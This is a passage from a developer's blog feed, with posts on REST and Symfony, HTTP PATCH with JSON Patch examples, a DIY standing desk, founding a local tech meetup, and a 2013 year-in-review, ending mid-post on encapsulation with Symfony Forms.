<a href="https://joind.in/11953">joind.in</a>.</p>
[Video] REST dans le monde Symfony2014-07-16T00:00:00+00:00https://williamdurand.fr/2014/07/16/video-rest-dans-le-monde-symfony<p>Last month, I gave a talk about REST and Symfony at <a href="https://event.afup.org/phptourlyon2014__programme/">PHP Tour Lyon
2014</a>, organized by the
french foundation of French speaking PHP users (<a href="https://afup.org/home">AFUP</a>).
Congratulations to the team, this event was a blast!</p>
<p>You will find the video of my talk below (in French, sorry):</p>
<div class="video-container">
<center>
<iframe width="560" height="315" src="//www.youtube.com/embed/nm1obAL1xoo" frameborder="0" allowfullscreen=""></iframe>
</center>
</div>
<p></p>
<p>And here are my slides:</p>
<script async="" class="speakerdeck-embed" data-id="b5fd31c0dd09013100f036ab2b38a31a" data-ratio="1.41436464088398" src="//speakerdeck.com/assets/embed.js"></script>
<p></p>
<p>I used the
<a href="https://github.com/gimler/symfony-rest-edition">symfony-rest-edition</a> and
<a href="https://github.com/willdurand/Propilex">Propilex</a> projects for the demos.</p>
<p>If you attended my talk and did not rate it yet, please leave a comment on
<a href="https://joind.in/11215">joind.in</a>.</p>
RESTing with Symfony: SOS2014-07-02T00:00:00+00:00https://williamdurand.fr/2014/07/02/resting-with-symfony-sos<p>Two years ago, I wrote <a href="/2012/08/02/rest-apis-with-symfony2-the-right-way/">REST APIs with Symfony2: The Right
Way</a>, one of my most popular
blog posts, but also one of the most well-known blog post about Symfony and
REST. At first glance, I could enjoy this situation, but it actually makes me
sad, and that is what I am going to explain here.</p>
<p>Lukas and I give talks to spread the word about RESTing with Symfony for the
last year now. Sure thing is that we have a nice set of components (libraries
and bundles) that work well together, and provide a lot of interesting features.
For those who are not aware of this, checkout
<a href="http://friendsofsymfony.github.io/slides/rest-dans-le-monde-symfony.html">our</a>
<a href="http://friendsofsymfony.github.io/slides/build-awesome-rest-apis-with-symfony2.html">slides</a>!
The Symfony developers behind all of this even contributed to the PHP ecosystem
at large as most of the features are provided as standalone PHP libraries.
Fantastic!</p>
<p>Not really. Last year, Lukas wrote a <a href="http://pooteeweet.org/blog/2221">blog post explaining what was needed to
REST in Symfony</a>, and there was still a lot of
work left. Did things change? Not really, again. That was in 2013, and remember
that my blog post has been written in 2012.</p>
<p>Come on we are in 2014, and to me, <strong>nothing has changed!</strong> Sure we have a
couple of ārecentā blog posts such as the <a href="http://welcometothebundle.com/symfony2-rest-api-the-best-2013-way/">Symfony2 REST API: the best
way</a> series.
It is a nice series, not only <code class="language-plaintext highlighter-rouge">s/right/best</code>, but it covers pretty much the same
things I covered two years ago. I didnāt see any other interesting blog post
about REST with Symfony recently unfortunatelyā¦ Lately, Ryan, Leanna and I
created a screencast named <a href="https://knpuniversity.com/screencast/rest">RESTful APIs in the Real
World</a>. I came across a few new
bundles, mainly focused on authentication such as
<a href="https://github.com/uecode/api-key-bundle">ApiKeyBundle</a> and
<a href="https://github.com/lexik/LexikJWTAuthenticationBundle">LexikJWTAuthenticationBundle</a>.
That is it!</p>
<p>I think that we, the Symfony folks interested in APIs and REST stuff, have <strong>two
problems</strong>:</p>
<ul>
<li>a clear <strong>lack of contributions</strong> (not only in term of code, documentation
matters too);</li>
<li><strong>too few new big features</strong>.</li>
</ul>
<p>For instance, we could probably leverage the
<a href="https://github.com/sensiolabs/SensioGeneratorBundle">GeneratorBundle</a> to
scaffold an API. We probably need more integration with client-side applications
(AngularJS, Backbone.js, whatever). People could write <strong>blog posts</strong> explaining
how they built their API, because I am pretty sure there are people here who
already built an API with Symfony. Existing bundles and libraries also <strong>need
regular contributors</strong>, but this is obvious. Also, if you have other ideas or
comments, you can leverage the new <a href="http://symfony.com/blog/making-the-symfony-experience-exceptional">Developer
eXperience</a>
(<strong>DX</strong>) system.</p>
<p>Please, help!</p>
Standing Desk Do It Yourself (DIY)2014-03-17T00:00:00+00:00https://williamdurand.fr/2014/03/17/standing-desk-do-it-yourself<p>I have been interested in standing desks for a while. <a href="http://en.wikipedia.org/wiki/Standing_desk">A standing desk is a desk
conceived for writing, reading, or working, while standing up or while sitting
on a high stool</a>. The impact of such
desks on our health has been quantified, and several reports have come out
pointing out <a href="http://www.huffingtonpost.com/chris-kresser/sitting-health_b_2897289.html">the
dangers</a>
<a href="http://healthland.time.com/2011/04/13/the-dangers-of-sitting-at-work%E2%80%94and-standing/">of
sitting</a>
<a href="http://www.nytimes.com/2011/04/17/magazine/mag-17sitting-t.html">too</a>
<a href="http://mashable.com/2011/05/09/sitting-down-infographic/">long</a> (e.g. risk
of obesity, diabetes, heart disease, a variety of cancers, and an early death).
According to most people using standing desks, <a href="http://readwrite.com/2013/09/26/standing-desks-productivity">they even make you more
productive</a>, but I
didnāt find any formal report confirming that yet.</p>
<p>After having given cardboard box-based standing desk a try last week, I decided
to build my own standing desk, on top of my existing desk, for less than 30
euros ($40). There are plenty examples of
<a href="http://en.wikipedia.org/wiki/Do_it_yourself">DIY</a> standing desks on the
Internet, but <a href="http://iamnotaprogrammer.com/Ikea-Standing-desk-for-22-dollars.html">that
one</a> is
probably the best known, and this is the one I used as an example.</p>
<p>First, I needed the following items:</p>
<ul>
<li>two <a href="http://www.but.fr/produits/43394/Table-basse-NEXT-2-wenge.html">side tables</a> (2 x 7 euros);</li>
<li>two black brackets (2 x 1.5 euros);</li>
<li>a black rubber slab with adhesive backing (8 euros);</li>
<li>wood glue, screws, and a few tools (free).</li>
</ul>
<p>Then, it was time to write down <strong>THE plan</strong>. I needed to put the keyboard
at the height of 32cm starting from the top of my existing desk, and the main
monitor at the height of 10-15cm upper.</p>
<p class="aligned-images">
<a href="/images/posts/standing-desk/items.jpg"><img src="/images/posts/standing-desk/items_small.jpg" /></a>
<a href="/images/posts/standing-desk/the-plan.jpg"><img src="/images/posts/standing-desk/the-plan_small.jpg" /></a>
</p>
<p>The side tables are square (50x50cm), and their height (42cm) perfectly fits my
needs, given my existing desk dimensions as described above. That is why I chose
such side tables actually, and this made things a lot easier.</p>
<p>One side table has been used as is, and will support the main screen. The other
side table has been split (25cm depth, and 32cm height), and will be used for
either a laptop or a keyboard.
In order to screw the brackets on the half table, I crafted two wood blocks that
I put into the table, that one being made of wood with paper filling. This
happens when you buy cheap furnitureā¦ Adding these blocks did the trick
though.</p>
<p class="aligned-images">
<a href="/images/posts/standing-desk/half-table.jpg"><img src="/images/posts/standing-desk/half-table_small.jpg" /></a>
<a href="/images/posts/standing-desk/blocks.jpg"><img src="/images/posts/standing-desk/blocks_small.jpg" /></a>
</p>
<p>I did the same thing for the two hollow legs of the half table, gluing blocks of
wood into them so that it looks exactly like the original legs. Here, I reused
the blocks that were located in the offcuts of the two legs I cut.</p>
<p class="aligned-images">
<a href="/images/posts/standing-desk/legs.jpg"><img src="/images/posts/standing-desk/legs_small.jpg" /></a>
<a href="/images/posts/standing-desk/wood-block-legs.jpg"><img src="/images/posts/standing-desk/wood-block-legs_small.jpg" /></a>
</p>
<p>At that time, everything was ready for assembling. I put up the other side
table, then I screwed the short legs and the brackets on the half table.</p>
<p class="aligned-images">
<a href="/images/posts/standing-desk/table.jpg"><img src="/images/posts/standing-desk/table_small.jpg" /></a>
<a href="/images/posts/standing-desk/blocks-and-brackets.jpg"><img src="/images/posts/standing-desk/blocks-and-brackets_small.jpg" /></a>
</p>
<p>Sort of protip, I used a black marker to color the edges of the half table in
order to make them pretty. Version 1 will not hide the back of the half table
unfortunately. I didnāt find a satisfying solution yet.</p>
<p><a href="/images/posts/standing-desk/black-marker.jpg"><img src="/images/posts/standing-desk/black-marker_small.jpg" alt="" /></a></p>
<p>Then, I screwed the half table part to the main side table, and cut and stuck
rubber pads on each leg. That way, the whole piece of furniture should be pretty
stable once put on the desk.</p>
<p class="aligned-images">
<a href="/images/posts/standing-desk/assembling.jpg"><img src="/images/posts/standing-desk/assembling_small.jpg" /></a>
<a href="/images/posts/standing-desk/rubber-pads.jpg"><img src="/images/posts/standing-desk/rubber-pads_small.jpg" /></a>
</p>
<p>And voilĆ ! I am ready to work standing up. It is worth mentioning that I can
double the space of the upper surface, if I want to, by simply buying another
side table (I actually bought a few ones already, just in case you know). I also
kept the other part of the table I cut so that I can possibly build another
similar piece of furniture.</p>
<p><a href="/images/posts/standing-desk/final-front.jpg"><img src="/images/posts/standing-desk/final-front_small.jpg" alt="" /></a></p>
<p><a href="/images/posts/standing-desk/final-back.jpg"><img src="/images/posts/standing-desk/final-back_small.jpg" alt="" /></a></p>
<p>I would like to thank Jean-Pierre who has provided me all the tools and
knowledge I needed.</p>
The Story Behind Clermont'ech2014-02-21T00:00:00+00:00https://williamdurand.fr/2014/02/21/the-story-behind-clermontech<p>A year ago, Julien, Pierre, Manuel, Jean-Philippe, Julien (yes, again) and I
created <a href="https://clermontech.org/"><strong>Clermontāech</strong></a>, a non-for-profit
organization which aimed at <strong>gathering developers</strong> in our lovely city. We
decided to organize conferences every two months, the so-called <a href="https://clermontech.org/api-hours/">API
Hours</a>.</p>
<p>My first conferences as an attendee were Symfony Live 2011, and the
<a href="https://parisjs.org/">ParisJS</a> events when I was living in Paris. That was an
<strong>eye-opener</strong>! Back to Clermont-Fd (my place), I talked to some of my friends
about the idea of organizing conferences <a href="https://en.wikipedia.org/wiki/Massif_Central">here, between the
volcanoes</a>. Unfortunately,
we were all quite busy, and nothing happened. This was in 2011.</p>
<p>Then, I moved to Switzerland, where I learnt what <strong>simplicity</strong> and <strong>freedom</strong>
were: <em>Wanna do something? Well, just do it!</em> In other words, if you never try
you will never know. Back to my place again, I then met Julien Maupetit who
wanted to build a Python community:</p>
<p><img src="/images/posts/haha.jpg" alt="" /></p>
<p>Yeah, there are not a lot of Pythonistas here. However, there are PHP, Java,
.NET, JavaScript folks. Hence the idea of not being focused on a single
technology or programming language, but rather, targeting developers at large.
That is how <a href="https://clermontech.org">Clermontāech</a> is born, exactly a year ago.
Julien was really a catalyst, and it was the right moment I guess. We discussed
the idea with the LavaJUG guys (Java User Group), the first local tech
organization, and they helped us a lot, giving valuable advices.</p>
<p>The first thing we did was to all agree on a <strong>manifesto</strong> with <strong>four strong
values</strong>:</p>
<ul>
<li><strong>openness</strong>: we are technology-agnostic, even C++ guys can join the flock;</li>
<li><strong>independence</strong>: we are not tied to any company or organization, no matter
how much they could give us;</li>
<li><strong>respect</strong>: people who stir up trouble are not welcomed;</li>
<li><strong>sharing</strong>: every decision we make is driven by this value, we donāt just
promote sharing through the conferences.</li>
</ul>
<p>A year later, I think that this was our main key success factor. We always stick
to this manifesto, we had a <strong>clear vision</strong> since the beginning, and we all
shared the same point of view.</p>
<p>Then, we tried to create our own identity, and we choose the platypus as our
mascot. <em>Why?</em> Because, platypus are cool, and will always be cool. End of
story. A special thanks goes to Sophie, our outstanding web designer, by the
way.</p>
<p>First event was awesome, while we had no money, no experience in organizing an
event, only a MacBook Pro, and a camera. We got more attendees than expected,
quite unbelievable. Next API Hours went well, and we reached our limit of 50
attendees after the second event. The idea behind <strong>limiting the number of
attendees</strong> was pretty straightforward: <strong>we wanted people to meet other
people</strong>, and make the events more <strong>friendly</strong>.</p>
<p><a href="https://www.flickr.com/photos/96523012@N07/"><img src="/images/posts/apihours.jpg" alt="" /></a></p>
<p>We were more and more prepared, with more equipment, and a lot of <strong>goodies</strong>!
That is probably the second key success factor: <strong>focusing on the marketing
stuff</strong>. This led us to the notion of sponsorship, i.e. <strong>money</strong>. Since the
beginning, we wanted our events to be <em>free of charge</em> for the attendees, but
also, providing food (we are French after all). Thanks to our fabulous sponsors,
we were able to do more, making
<a href="https://www.flickr.com/photos/96523012@N07/10455746815/in/set-72157636366078485">t-shirts</a>,
<a href="https://www.flickr.com/photos/96523012@N07/10696881453/in/set-72157637356442883">stickers</a>,
<a href="https://www.flickr.com/photos/96523012@N07/10696880443/in/set-72157637356442883">business
cards</a>,
postcards, but also <strong>chocolates</strong>!</p>
<p><a href="https://www.flickr.com/photos/96523012@N07/"><img src="/images/posts/apihours-2.jpg" alt="" /></a></p>
<p>We held the events in <strong>different places</strong>, and not always the same day of week,
so that we allowed new people to come. We took care of a lot of similar
<strong>details</strong> (e.g. food for vegans and non-pork eaters, live streaming for those
who didnāt get a ticket, and many more you canāt probably think of).</p>
<p><a href="https://www.flickr.com/photos/96523012@N07/"><img src="/images/posts/apihours-3.jpg" alt="" /></a></p>
<p>But, conferences without speakers are nothing. We wanted the API Hours to be
<strong>community-driven</strong>, and that is why we decided to find
<a href="https://clermontech.org/talks/">speakers</a> locally. Most of our speakers never
spoke at any conference before, but they were all good!</p>
<p>Thanks to these events, I met a lot of interesting people, and not only
developers, but I also heard about topics I would not have explored myself. We
built a community of ~130 people (based on our mailing-list), all involved in
computing. I think we are quite well-known now, since local universities asked
us to come and speak to their students. 2014 is going to be amazing, we have a
lot of new plans to make things even better!</p>
<p>If you donāt have any tech organization in your place, consider building your
own! It is worth doing it, and a <strong>fantastic adventure</strong>!</p>
Please. Don't Patch Like That.2014-02-14T00:00:00+00:00https://williamdurand.fr/2014/02/14/please-dont-patch-like-that<style>
.language-http .err {
color: #bf616a!important;
background: none!important;
}
</style>
<p>Modifying HTTP resources is not a new topic. Most of the existing HTTP or REST
APIs provide a way to modify resources. They often provide such a feature by
using the <code class="language-plaintext highlighter-rouge">PUT</code> method on the resource, asking clients to <strong>send the entire
resource</strong> with the updated values, but that requires a recent <code class="language-plaintext highlighter-rouge">GET</code> on its
resource, and a way to not miss updates between this <code class="language-plaintext highlighter-rouge">GET</code> call, and the <code class="language-plaintext highlighter-rouge">PUT</code>
one. Indeed, one may update values before you, and it can lead to bad side
effects. Moreover, sending a complete resource representation utilizes <strong>more
bandwidth</strong>, and sometimes it must be taken into account. Also, most of the time
you want to update one or two values in a resource, not everything, so the <code class="language-plaintext highlighter-rouge">PUT</code>
method is probably not the right solution for partial update, which is the term
used to describe such a use case.</p>
<p>Another solution is to expose the resourceās properties you want to make
editable, and use the <code class="language-plaintext highlighter-rouge">PUT</code> method to send an updated value. In the example
below, the <code class="language-plaintext highlighter-rouge">email</code> property of user <code class="language-plaintext highlighter-rouge">123</code> is exposed:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">PUT /users/123/email
new.email@example.org
</span></code></pre></div></div>
<p>While it makes things clear, and it looks like a nice way to decide what to
expose and what not to expose, this solution introduces a lot of complexity
into your API (more actions in the controllers, routing definition,
documentation, etc.). However, it is REST compliant, and a not-so-bad solution,
but there is a better alternative: <code class="language-plaintext highlighter-rouge">PATCH</code>.</p>
<p><code class="language-plaintext highlighter-rouge">PATCH</code> is an HTTP method (a.k.a. verb) which has been described in <a href="https://tools.ietf.org/html/rfc5789">RFC
5789</a>. The initial idea was to propose a
new way to modify existing HTTP resources. The biggest issue with this method is
that people often misunderstand its usage. No, <code class="language-plaintext highlighter-rouge">PATCH</code> is not <strong>strictly</strong> about
sending an updated value, rather than the entire resource as described in the
first paragraph of this article. Please, <strong>avoid</strong> doing this. This is not
strictly correct:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">PATCH /users/123
{ "email": "new.email@example.org" }
</span></code></pre></div></div>
<p>And, this is not correct either:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">PATCH /users/123?email=new.email@example.org
</span></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">PATCH</code> method requests that <strong>a set of changes</strong>, described in the request
entity, must be applied to the resource identified by the requestās URI. This
set contains <strong>instructions</strong> describing how a resource currently residing on
the origin server should be modified to produce a new version. You can think of
this as a <strong>diff</strong>:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">PATCH /users/123
[description of changes]
</span></code></pre></div></div>
<p>The entire set of changes must be applied <strong>atomically</strong>, and the API must never
provide a partially modified representation by the way. It is worth mentioning
that the request entity to <code class="language-plaintext highlighter-rouge">PATCH</code> is of a <strong>different content-type</strong> than the
resource that is being modified. You have to use a media type that defines
semantics for PATCH, otherwise you lose the advantage of this method, and you
can use either <code class="language-plaintext highlighter-rouge">PUT</code> or <code class="language-plaintext highlighter-rouge">POST</code>. From the RFC:</p>
<blockquote>
<p>The difference between the PUT and PATCH requests is reflected in the way the
server processes the enclosed entity to modify the resource identified by the
Request-URI. In a PUT request, the enclosed entity is considered to be a
modified version of the resource stored on the origin server, and the client is
requesting that the stored version be replaced. With PATCH, however, <strong>the
enclosed entity contains a set of instructions describing how a resource
currently residing on the origin server should be modified to produce a new
version</strong>. The PATCH method affects the resource identified by the Request-URI,
and it also MAY have side effects on other resources; i.e., new resources may be
created, or existing ones modified, by the application of a PATCH.</p>
</blockquote>
<p>You can use whatever format you want as <code class="language-plaintext highlighter-rouge">[description of changes]</code>, as far as its
semantics is well-defined. That is why using <code class="language-plaintext highlighter-rouge">PATCH</code> to send updated values only
is not suitable.</p>
<p><a href="http://tools.ietf.org/html/rfc6902">RFC 6902</a> defines a <strong>JSON document
structure</strong> for expressing a <strong>sequence of operations</strong> to apply to a JSON
document, suitable for use with the <code class="language-plaintext highlighter-rouge">PATCH</code> method. Here is how it looks like:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/c"</span><span class="p">,</span><span class="w"> </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"foo"</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"remove"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/c"</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"add"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/c"</span><span class="p">,</span><span class="w"> </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"foo"</span><span class="p">,</span><span class="w"> </span><span class="s2">"bar"</span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"replace"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/c"</span><span class="p">,</span><span class="w"> </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"move"</span><span class="p">,</span><span class="w"> </span><span class="nl">"from"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/c"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/d"</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w"> </span><span class="nl">"op"</span><span class="p">:</span><span class="w"> </span><span class="s2">"copy"</span><span class="p">,</span><span class="w"> </span><span class="nl">"from"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/d"</span><span class="p">,</span><span class="w"> </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/a/b/e"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>
<p>It relies on <strong>JSON Pointers</strong>, described in <a href="http://tools.ietf.org/html/rfc6901">RFC
6901</a>, to identify specific values in a JSON
document, i.e. in a HTTP resource representation.</p>
<p>Modifying the email of the user <code class="language-plaintext highlighter-rouge">123</code> by applying the <code class="language-plaintext highlighter-rouge">PATCH</code> method to its JSON
representation looks like this:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">PATCH /users/123
[
{ "op": "replace", "path": "/email", "value": "new.email@example.org" }
]
</span></code></pre></div></div>
<p>So readable, and expressive! Wonderful ā„ <strong>This</strong> is how the <code class="language-plaintext highlighter-rouge">PATCH</code>
method MUST be used. If it succeeds, you get a <code class="language-plaintext highlighter-rouge">200</code> response.</p>
<p>For XML aficionados, <a href="http://tools.ietf.org/html/rfc5261">RFC 5261</a> describes an
XML patch framework utilizing XML Path language (XPath) selectors to update an
existing XML document.</p>
<p>As of late 2014 (that is, <em>after</em> the publication of this article), a new
<a href="https://tools.ietf.org/html/rfc7396">RFC</a> introducing the JSON Merge Patch
format and describing another way to send a set of changes has been proposed. It
is very similar to the idea of sending only what needs to be updated, but it is
explicit thanks to the <code class="language-plaintext highlighter-rouge">application/merge-patch+json</code> content type.</p>
<p>To sum up, the <code class="language-plaintext highlighter-rouge">PATCH</code> method is not a replacement for the <code class="language-plaintext highlighter-rouge">POST</code> or <code class="language-plaintext highlighter-rouge">PUT</code>
methods. It applies a delta (diff) rather than replacing the entire resource.
The request entity to <code class="language-plaintext highlighter-rouge">PATCH</code> is of a <strong>different content-type</strong> than the
resource that is being modified. Instead of being an entire resource
representation, it is a resource that describes changes to apply on a resource.</p>
<p>Now, please, either donāt use the <code class="language-plaintext highlighter-rouge">PATCH</code> method, or use it the right way!</p>
<p>It is worth mentioning that <code class="language-plaintext highlighter-rouge">PATCH</code> is not really designed for truly RESTful APIs,
as Fieldingās dissertation does not define any way to <strong>partially</strong> modify
resources. But, Roy Fielding himself said that PATCH was something he created
for the initial HTTP/1.1 proposal because partial PUT is never RESTful. Sure
you are not transferring a <strong>complete</strong> representation, but REST does not
require representations to be complete anyway.</p>
<h2 id="useful-links">Useful Links</h2>
<ul>
<li><a href="http://tools.ietf.org/html/rfc5261">An Extensible Markup Language (XML) Patch Operations Framework Utilizing XML
Path Language (XPath) Selectors</a></li>
<li><a href="https://tools.ietf.org/html/rfc5789">PATCH Method for HTTP</a></li>
<li><a href="http://tools.ietf.org/html/rfc6901">JavaScript Object Notation (JSON) Pointer</a></li>
<li><a href="http://tools.ietf.org/html/rfc6902">JavaScript Object Notation (JSON) Patch</a></li>
<li><a href="http://www.mnot.net/blog/2012/09/05/patch">Why PATCH is Good for Your HTTP API</a></li>
<li><a href="http://jasonsirota.com/rest-partial-updates-use-post-put-or-patch">REST Partial Updates: Use POST, PUT or
PATCH?</a></li>
<li><a href="http://intertwingly.net/blog/2008/02/15/Embrace-Extend-then-Innovate">Embrace, Extend then
Innovate</a></li>
<li><a href="http://stackoverflow.com/questions/19732423/why-isnt-http-put-allowed-to-do-partial-updates-in-a-rest-api">Why isnāt HTTP PUT allowed to do partial updates in a REST
API?</a></li>
<li><a href="http://blog.earaya.com/blog/2013/05/30/the-right-way-to-do-rest-updates/">The Right Way to Do REST
Updates</a></li>
<li><a href="http://soabits.blogspot.fr/2013/01/http-put-patch-or-post-partial-updates.html">HTTP PUT, PATCH or POST - Partial updates or full
replacement?</a></li>
<li><a href="https://philsturgeon.uk/api/2016/05/03/put-vs-patch-vs-json-patch/">PUT vs PATCH vs
JSON-PATCH</a></li>
</ul>
Numbers. Gifts. Money.2013-12-31T00:00:00+00:00https://williamdurand.fr/2013/12/31/numbers-gifts-money<p>In <strong>5</strong> hours, a new year will start, <strong>2014</strong>. But, letās take a look at
<strong>2013</strong> first.</p>
<p>I wrote <strong>15</strong> articles, including this one. This is lesser than the year
before (<strong>18</strong>) whereas one of my <strong>2013</strong>ās goals was to blog moreā¦ However,
more than <strong>70.000</strong> unique visitors read my thoughts. That is really amazing!
Even better, on Tuesday, July 30, 2013, <a href="/2013/07/30/from-stupid-to-solid-code/">From STUPID to SOLID
Code!</a>ās publication date, this website
attracted <strong>6000</strong> unique visitors.</p>
<p>The <strong>3</strong> most viewed posts have been <a href="/2013/07/30/from-stupid-to-solid-code/">From STUPID to SOLID
Code!</a> (<strong>20.652</strong>), <a href="/2013/07/04/on-open-sourcing-libraries/">On Open Sourcing
Libraries</a> (<strong>11.779</strong>), and <a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">DDD with
Symfony2: Folder Structure And Code
First</a>
(<strong>9.035</strong>). It is worth mentioning that <a href="/2012/08/02/rest-apis-with-symfony2-the-right-way/">REST APIs with Symfony2: The Right
Way</a> got <strong>59.723</strong> unique
visitors this year, even if this article has been written in <strong>2012</strong>.</p>
<p>These <strong>3</strong> blog posts talk about <strong>Open Source</strong>, and <strong>web development</strong>.
Today, I must confess that I am not a PHP/web developer, I am not even a
developer. I am a PhD student. My daily job is related to industrial computing
and software testing. I donāt do programming, and if I would have to, I would
use C#/.NET.
I met people at SymfonyCon Warsaw who didnāt understand these facts, and/or why
I was doing so many things for the community, but never for my own business. It
is obviously well-accepted to opensource things that have been created at work,
but not to contribute to open source on his spare time, just for fun.
I thought quite a lot about these questions, and I am still not sure to know
the right answer, so let me rephrase the problem: <strong>who</strong> would do that
otherwise? It is an open-ended question.</p>
<p>Talking about Open Source, <a href="https://github.com/geocoder-php/Geocoder">Geocoder</a>
reached <strong>1200</strong>+ stargazers, while
<a href="https://github.com/willdurand/Negotiation">Negotiation</a> has been installed
more that <strong>116.000</strong> times, and
<a href="https://github.com/willdurand/BazingaJsTranslationBundle">BazingaJsTranslationBundle</a>
has been installed more than <strong>77.000</strong> times, meaning it is my most used
bundle under <a href="https//github.com/willdurand">my GitHub account</a> (āmyā most used
bundle would actually be
<a href="https://github.com/FriendsOfSymfony/FOSJsRoutingBundle">FOSJsRoutingBundle</a>).
My next most installed project will probably be:
<a href="https://github.com/willdurand/JsonpCallbackValidator">JsonpCallbackValidator</a>.
Also, <a href="https://github.com/willdurand/anchorify.js">Anchorify.js</a> is my most
starred JavaScript library.</p>
<p>According to this <a href="https://gist.github.com/paulmillr/2657075">list</a>, I am the
<strong>47</strong>th most active GitHub user. <em>Cool story, bro.</em> Anyway, all this Open
Source work takes time and costs energy. So, next time you wonder why I am doing
all of this without being rewarded or without using it myself, please donāt ask!</p>
<p>I am rewarded all the time. Most of the time because people use my stuff, and
sometimes, they are even happy with them! I receive emails or tweets with kind
words every week. This is really great, and so rewarding! This year, I tweeted
my <a href="http://www.amazon.fr/registry/wishlist/3ICJE3SIOIDWE">Amazon Wish
List</a>, and I had the
pleasure to receive gifts for Christmas:</p>
<p><img src="/images/gifts.jpg" alt="" /></p>
<p>In no particular order, I would like to thank @pborreli, @weaverryan,
@leannapelham, @lsmith, @mathiasverraes, @toin0u and @youb_s for these awesome
gifts!</p>
<p>I know money in Open Source is always a tricky point. Be sure that I wonāt get
paid twice for the Open Source work I am doing. I am not sponsored by anyone,
and over the last <strong>3</strong> years, I never asked for money. I donāt need money to
create new projects, or to maintain them. However, domain names, GitHub account,
and so on, are not free ;-)</p>
<p>Next year, I will probably continue my Open Source stuff, and I will try to
learn more things. I have new ideas to improve REST support in PHP/Symfony, but
I would also love to expand my knowledge with new languages. Why not bringing my
knowledge into a new community? Who knows.
I also have a lot of books to read, and I promise to write a review for each
book I receive.</p>
<p>On a personal plan, I lost <strong>15</strong> kilograms in <strong>2013</strong>. I changed my way of
life. I donāt drink alcohol anymore (I am not an alcoholic, I just stopped drinking
beers and so on during parties or dinners). I try to eat less meat, in order to
become a <a href="http://en.wikipedia.org/wiki/Semi-vegetarianism">flexitarian</a>. I feel way
better.
I also do a lot of sport, mainly running, mountain biking, squash, and soccer. I
have three goals for <strong>2014</strong>:</p>
<ul>
<li>running <strong>10</strong> kilometers in less than <strong>40</strong> minutes;</li>
<li>swimming faster, and better (~<strong>2</strong>kms);</li>
<li>competing in a triathlon.</li>
</ul>
<p>My other goals for <strong>2014</strong> are:</p>
<ul>
<li>reading more books;</li>
<li>writing more, maybe trying to write a book;</li>
<li>speaking more at conferences;</li>
<li>improving my English;</li>
<li>dominating the world.</li>
</ul>
<p>I wish you a Happy New Year, and all the best for your family, and you! See you
next year!</p>
<p>Thank you ā„ ā„ ā„</p>
Enforcing Data Encapsulation with Symfony Forms2013-12-16T00:00:00+00:00https://williamdurand.fr/2013/12/16/enforcing-data-encapsulation-with-symfony-forms<p>Having classes (entities or whatever related to your model layer) that exposes
attributes publicly, i.e. setters and getters for all attributes is just a <strong>non
sense</strong>. Basically, a class with <em>attributes/getters/setters</em> is the same thing
as a class with public properties or even as an array. <strong>Donāt do that!</strong></p>
<p>You should rather write classes that own data, and keep them in a safe place.
That is called <strong>encapsulation</strong>. <strong>Encapsulation</strong> is <strong>one of the four
fundamentals</strong> in Object-Oriented Programming (OOP). It is used <a href="http://en.wikipedia.org/wiki/Encapsulation_(object-oriented_programming)">to hide the
values or state of a structured object inside a
class</a>,
preventing unauthorized parties direct access to them. That is why you should
<a href="/2013/06/03/object-calisthenics/#9-no-getterssettersproperties">avoid getters and
setters</a> as much
as you can, not to say all the time!</p>
<p>Working with the <a href="http://symfony.com/doc/current/components/form/introduction.html">Symfony
Form</a>, it may
be hard to decouple your code, and to not rely on getters and setters. Mathias
Verraes describes a great approach in <a href="http://verraes.net/2013/04/decoupling-symfony2-forms-from-entities/">Decoupling (Symfony2) Forms from
Entities</a>,
and I strongly agree with him. To sum up, the Form component should be used in
your Presentation Layer, and it should not mess with your Model Layer. Use
commands or DTOs with Forms, then create or act on your Model entities in the
Application Layer (i.e. in your controllers).</p>
<p>However, the aim of this blog post is to show you how to keep <strong>decent model
classes</strong> even with the Form component. In other words, donāt write poor model
classes because of the framework you are using. You should design your model
classes to fit your business, and according to OOP paradigms, not because
framework X sucks at hydrating an object. I guess it is Hibernateās fault at
